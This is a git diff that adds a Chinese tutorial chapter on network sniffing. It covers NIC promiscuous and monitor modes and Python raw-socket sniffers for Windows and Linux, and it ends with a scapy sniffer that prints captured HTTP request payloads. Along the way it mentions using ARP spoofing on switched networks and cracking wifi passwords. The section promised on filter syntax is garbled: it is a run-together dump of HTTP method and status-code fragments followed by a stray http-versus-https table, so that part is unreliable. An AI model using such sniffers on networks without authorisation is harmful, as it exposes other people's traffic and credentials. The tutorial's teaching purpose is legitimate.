0000000..8f3c65f Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" new file mode 100644 index 0000000..b992c54 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" new file mode 100644 index 0000000..56a318c Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" new file mode 100644 index 0000000..9418232 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" new file mode 100644 index 0000000..5180be0 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" new file mode 100644 index 0000000..4c1e67d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" new file mode 100644 index 0000000..2dfb9be --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" @@ -0,0 +1,575 @@ +## 3.6 网络嗅探 + +网络嗅探,是监听流经本机网卡数据包的一种技术,嗅探器就是利用这种技术进行数据捕获和分析的软件。 + +编写嗅探器,捕获数据是前置功能,数据分析要建立在捕获的基础上。本节就数据捕获的基本原理和编程实现做详细的阐述。 + +### 3.6.1 以太网网卡的工作模式 + +] + +以太网网卡是我们日常生活中见得最多的网卡,常用的以太网卡支持以下工作模式:广播模式、多播模式、直接模式和混杂模式。 + +1. 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。它将会接收所有目的地址为广播地址的数据包,一般所有的网卡都会设置为这个模式。 + +2. 多播传送(MultiCast Model):多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。当数据包的目的地址为多播地址,而且网卡地址是属于那个多播地址所代表的多播组时,网卡将接纳此数据包,即使一个网卡并不是一个多播组的成员,程序也可以将网卡设置为多播模式而接收那些多播的数据包。 + +3. 直接模式(Direct Model):工作在直接模式下的网卡只接收目地址是自己 Mac地址的帧。只有当数据包的目的地址为网卡自己的地址时,网卡才接收它。 + +4. 混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧。如果采用混杂模式,网卡将接受同一网络内所有主机发送的数据包。 + +利用网卡混杂模式的特性,就可以到达对于网络信息监听捕获的目的。 + +需要注意的是,并不是任何情况下,网络中的数据都会流经你的网卡,比如交换机网络,交换机会绑定端口和MAC,此时就需要上一章讲到的ARP欺骗了。 + +### 3.6.2 设置网卡为混杂模式 + +在Linux中,我们可以通过ifconfig和iwconfig配置网络接口的信息。正常情况下输入ifconfig,虚拟机中显示如下: + +] + +通过命令 +``` +ifconfig eth0 promisc +``` +可以将eth0设置为混杂模式,下图中圈红的部分,表示当前网卡处于混杂模式。 +] + +通过 +``` +ifconfig eth0 -promisc +``` +可以取消网卡的混杂模式。 + +ifconfig 对无线网卡同样适用。 + +windows 下设置混杂模式的手工模式如下: + + 1. 打开网络和共享中心,点击“本地连接”,选择“属性”,选择“配置”。 + ] + ] + 2. 选择“高级”选项卡,选择“速度和双工”,“值”选择“自动协商”,保存设置。 + ] + + + + ### 3.6.3 无线网卡的监听模式 + + 对于无线网卡,我们可以使用iwconfig的mode参数来配置混杂模式,mode的选项值如下: + +1) Ad-hoc:不带AP的点对点无线网络 + +2) Managed:通过多个AP组成的网络,无线设备可以在这个网络中漫游 + +3) Master:设置该无线网卡为一个AP + +4) Repeater:设置为无线网络中继设备,可以转发网络包 + +5) Secondary:设置为备份的AP/Repeater + +6) Monitor:监听模式 + +7) Auto:由无线网卡自动选择工作模式 + +使用如下命令可以设置无线网卡为监听模式: + +``` +ifconfig wlan0 down +iwconfig wlan0 mode monitor +ifconfig wlan0 up +``` + +在 kali linux中我们通过iwconfig来设置监听模式,可能会遇到点困难,无线网卡设置成监听模式后,过几秒又变成manage模式了。这是由于Network Manage服务造成,我们可以关闭该服务。 + +监听模式和上文的混杂模式有什么区别呢? + +混杂模式是在wifi连接到指定网络中,监听子网中的数据传输;监听模式下wifi会断网,进而监听某一个信道内所有传输流量,因此可以用来扫描wifi热点,破解wifi密码等工作。 + +### 3.6.4 基于Raw Socket的Sniffer开发 + +Raw Socket是一种较为底层的socket编程接口,可以用来获取IP层以上的数据,所以可以用来编写Sniffer。一个完整的sniffer代码组成,大致分为创建socket对象,接收数据,分析数据三个部分。其中开启网卡的混杂模式,需要配置socket对象的属性。在开启混杂模式方面,Linux上要比windows上复杂一点,我们先从简单的情况开始。 + +#### 3.6.4.1 可以在windows上运行的Sniffer + +我们先实现一个在windows上能运行的嗅探器。新建sniffer_windows.py文件,先定义核心类的基本结构: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count,iface, bufferSize=65565, showPort=False, showRawData=False): + pass + +def printPacket(package, showPort, showRawData): + pass +``` + +在上面的代码中,我们首先定义了一个类——PromiscuousSocket,这个类负责创建一个绑定到当前主机名绑定的网卡上的raw socket对象,并设置启动混杂模式。PromiscuousSocket类有三个方法,分别为类的构造函数,另外两个函数是用于with关键字的块作用域的起止函数。sniffer函数会创建PromiscuousSocket类的实例,并使用它接收和分析数据。printPacket方法用来显示捕获的数据内容。 + +接下来我们来完善核心的PromiscuousSocket类,在__init__方法中,我们创建socket对象,并绑定到对象的s字段上。实现如下 + +```Python + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW,socket.IPPROTO_IP) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind((HOST, 0)) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s +``` +上面的代码中,我们首先获取本机的IP地址,随后调用如下代码创建一个原始套接字: + +```Python +s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) +``` +一个字段family我们选择ipv4;第二个字段type,选择raw socket。 + +接下来调用setsockopt方法对原始套接字的相关属性进行设置。setsockopt函数是用来对socket对象进行补充选项的设置,三个参数的分别为level、选项名称和值。level支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。不同协议对应的选项不同,具体内容可以参考 https://docs.microsoft.com/zh-cn/windows/desktop/WinSock/socket-options。 + +先来设置SO_REUSEADDR选项: +``` + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +``` +该选项可以让多个socket对象绑定到相同的地址和端口上。之后我们调用bind方法,来绑定socket。 + +```Python + s.bind((HOST, 0)) +``` +接下来再次调用setsockopt: + +```Python + + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) +``` +设置ip协议层的IP_HDRINCL选项,该选项只能和原始套接字配合使用。当开启该参数时,我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。 + +最后调用ioctl函数来开启网卡的混杂模式: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +调用ioctl传入的两个参数,第一个指定设置的类型为接收所有数据,第二个参数要和第一个对应,使用RCVALL_ON来开启。 + +至此,我们完成了原始套接字的构造工作,下面看__enter__和__exit__方法。 + +```Python + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) +``` +__enter__方法很简单,返回创建的socket对象。__exit__方法中,我们调用ioctl方法通过RCVALL_OFF来关闭混杂模式。 + +接下来完善sniffer函数: + +```Python +def sniffer(count, bufferSize=65565, showPort=False, showRawData=False): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) +``` + +sniff方法创建PromiscuousSocket的一个实例,利用其接收数据包,然后打印捕获的内容。想要进一步解析捕获的数据包内容,需要依照协议逐字节去解析,不是文本的重点就不要再深入讲解了。完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) + +``` + +上面的代码在Linux上运行唯一的问题是ioctl函数并没有被暴露出来,无法调用。 + +#### 3.6.4.2 解决Linux上开启网卡混杂模式的问题 + +上面设置混杂模式的代码: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +在linux上无法运行,ioctl函数和socket.SIO_RCVALL, socket.RCVALL_ON都没有被暴露出来,但是系统底层的C结构体是有这样的定义的,我们可以通过fcntl模块的fcntl.ioctl方法来配置选项。和上面类似,我们搭建基本的程序结构。如下: + +```Python +import os +import socket +import ctypes +import fcntl + +class ifreq(ctypes.Structure): + pass + + +class FLAGS(object): + pass + + + +class PromiscuousSocketManager(object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count, bufferSize=65565): + pass + +``` + +和windows的实现对比,我们新增了ifreq类和FLAGS类。我们先将需要用到的枚举值封装到FLAGS类中: + +```Python +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags +``` + +由于fcntl.ioctl只是linux系统调用的的一个接口,其对应的c接口接收参数为结构体,我们定义ifreq类来实现结构体封装: + +```Python +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +``` +该类继承自ctypes.Structure类,使用它我们可以通过字符串中转c结构体字段的值。 + +下面来看PromiscuousSocketManager类的实现: + +```Python +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 + ifr.ifr_flags |= FLAGS.IFF_PROMISC # 添加混杂模式的值 + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新socket + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` +上面的代码中,注意几个地方。htons方法用来将16bit的正数的字节顺序转换为网络传输的顺序(所谓的大端,小端)。我们创建了一个ifreq类的实例 ifr,接下来设置绑定的网卡的名字,这里程序写死了,需要根据实际情况调整。通过 +```Python +fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 +``` +将当前socket已经有的Flag获取到,然后加上设置混杂模式的数值,再通过 +``` +fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新 +``` +更新给socket对象,从而开启混杂模式。 + +在__exit__方法中,取消混杂模式的代码也和windows下不同,设置上关闭标志,然后更新socket对象: + +```Python +def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` + +Linux下的嗅探器开发完毕了,完整代码如下: + +```Python +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) +``` + +基于原始套接字从头来实现嗅探器比较繁琐,还有一个大的问题就是数据解析,捕获到的数据需要按照协议来逐字节进行解析才能取到可读的内容。下面我们来看看如何基于scapy来实现嗅探功能。 + +### 3.6.5 基于scapy实现sniffer + +scapy的sniff方法可以直接被用来实现嗅探功能,我们可以在scapy的交互窗口中使用help来查看sniff方法的说明。 + +```Py +sniff(count=0, store=True, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, started_callback=None, *arg, **karg) + Sniff packets and return a list of packets. + + Args: + count: number of packets to capture. 0 means infinity. + store: whether to store sniffed packets or discard them + prn: function to apply to each packet. If something is returned, it + is displayed. + --Ex: prn = lambda x: x.summary() + filter: BPF filter to apply. + lfilter: Python function applied to each packet to determine if + further action may be done. + --Ex: lfilter = lambda x: x.haslayer(Padding) + offline: PCAP file (or list of PCAP files) to read packets from, + instead of sniffing them + timeout: stop sniffing after a given time (default: None). + L2socket: use the provided L2socket (default: use conf.L2listen). + opened_socket: provide an object (or a list of objects) ready to use + .recv() on. + stop_filter: Python function applied to each packet to determine if + we have to stop the capture after this packet. + --Ex: stop_filter = lambda x: x.haslayer(TCP) + iface: interface or list of interfaces (default: None for sniffing + on all interfaces). + monitor: use monitor mode. May not be available on all OS + started_callback: called as soon as the sniffer starts sniffing + (default: None). + + The iface, offline and opened_socket parameters can be either an + element, a list of elements, or a dict object mapping an element to a + label (see examples below). + + Examples: + >>> sniff(filter="arp") + >>> sniff(lfilter=lambda pkt: ARP in pkt) + >>> sniff(iface="eth0", prn=Packet.summary) + >>> sniff(iface=["eth0", "mon0"], + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) + >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) +``` + +参数说明已经很清楚了,过滤数据包可以使用filter,lfilter,stop_filter,filter是过滤表达式, lfilter 和stopfilter 是python函数。前两者作用一样,用来过滤我们需要的数据包,stopfilter返回布尔值,表示是否终止监听。 prn是数据包的处理函数,我们要在此做数据包的解析,分析等工作。 新建sniffer_scapy.py文件,添加测试代码: + +```Python +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') +``` + +上面的代码我们调用 sniff 函数,通过 'tcp and port 80' 表达式来过滤http请求。通过iface传入网卡名称。prn指向自定义的函数packetHandler。在packetHandler函数中,我们通过对数据包对象(pkt)进行分层解析来得到http协议的数据。运行结果如下: + + + +关于filter表达式语法,下面简单说明一下: + +
GETHEADPOSTPUTDELETECONNECTOPTIONSTRACEPATCH100 Continue101 Switching ProtocolUpgrade 标头发送的,并且指示服务器也正在切换的协议。102 Processing (WebDAV)103 Early Hints Link 链接头一起使用,以允许用户代理在服务器仍在准备响应时开始预加载资源。200 OK请求成功。成功的含义取决于HTTP方法:
+ +201 Created202 Accepted203 Non-Authoritative Information204 No Content205 Reset Content206 Partial Content207 Multi-Status (WebDAV)208 Multi-Status (WebDAV)226 IM Used (HTTP Delta encoding)300 Multiple Choice301 Moved Permanently302 Found303 See Other304 Not Modified305 Use Proxy 306 unused307 Temporary Redirect308 Permanent RedirectLocation: HTTP Response 标头指定的另一个 URI。 这与 301 Moved Permanently HTTP 响应代码具有相同的语义,但用户代理不能更改所使用的 HTTP 方法:如果在第一个请求中使用 POST,则必须在第二个请求中使用 POST。400 Bad Request401 Unauthorized402 Payment Required403 Forbidden404 Not Found405 Method Not Allowed406 Not Acceptable407 Proxy Authentication Required408 Request Timeout409 Conflict410 Gone411 Length RequiredContent-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头之后,客户端可以再次提交该请求。412 Precondition Failed413 Payload Too LargeRetry-After 的响应头,以告知客户端可以在多少时间以后重新尝试。414 URI Too Long415 Unsupported Media Type416 Requested Range Not Satisfiable417 Expectation FailedExpect 请求标头字段指示的期望值。418 I'm a teapot“茶壶冲泡咖啡”。421 Misdirected Request422 Unprocessable Entity (WebDAV)423 Locked (WebDAV)424 Failed Dependency (WebDAV)425 Too Early426 Upgrade RequiredUpgrade 头以指示所需的协议。428 Precondition Required429 Too Many Requests431 Request Header Fields Too Large451 Unavailable For Legal Reasons500 Internal Server Error501 Not ImplementedGET和HEAD是要求服务器支持的,它们必定不会返回此错误代码。502 Bad Gateway503 Service UnavailableRetry-After:如果可能的话,HTTP头应该包含恢复服务之前的估计时间。 网站管理员还必须注意与此响应一起发送的与缓存相关的标头,因为这些临时条件响应通常不应被缓存。504 Gateway Timeout505 HTTP Version Not Supported506 Variant Also Negotiates507 Insufficient Storage508 Loop Detected (WebDAV)510 Not Extended511 Network Authentication Required| + http + | ++ https + | +
|---|---|
| + 以超文本(结构化文本)格式传输数据 + | ++ 以加密格式传输数据 + | +
| + 默认使用端口80 + | ++ 默认使用端口443 + | +
| + 不安全 + | ++ 使用SSL技术保护安全 + | +
+ 以 http://开始
+ |
+
+ 以 https://开始
+ |
+